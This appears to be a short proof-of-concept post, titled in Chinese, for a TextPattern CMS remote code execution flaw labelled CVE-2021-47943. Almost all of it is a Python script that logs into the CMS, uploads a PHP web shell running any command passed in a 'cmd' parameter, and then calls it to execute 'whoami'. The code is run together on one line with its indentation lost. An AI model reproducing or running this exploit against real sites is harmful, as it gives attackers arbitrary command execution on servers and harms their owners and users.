CVE-2021-47943 TextPattern CMS远程代码执行漏洞

import requests # Target configuration target_url = "http://target-host/textpattern" username = "attacker" password = "password" session = requests.Session() # Step 1: Login to the CMS login_data = { "p_userid": username, "p_password": password } login_resp = session.post(f"{target_url}/index.php", data=login_data) if login_resp.status_code != 200: print("Login failed") exit() # Step 2: Upload malicious PHP file (WebShell) # The PHP code executes system command based on 'cmd' GET parameter php_shell_content = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" files = { "file": ("exploit.php", php_shell_content, "application/x-php") } upload_resp = session.post(f"{target_url}/index.php?event=file", files=files) if upload_resp.status_code == 200 and "exploit.php" in upload_resp.text: print("File uploaded successfully.") # Step 3: Trigger the Remote Code Execution exploit_url = f"{target_url}/files/exploit.php" cmd = "whoami" exec_resp = session.get(exploit_url, params={"cmd": cmd}) print(f"Command '{cmd}' output:") print(exec_resp.text) else: print("Upload failed.")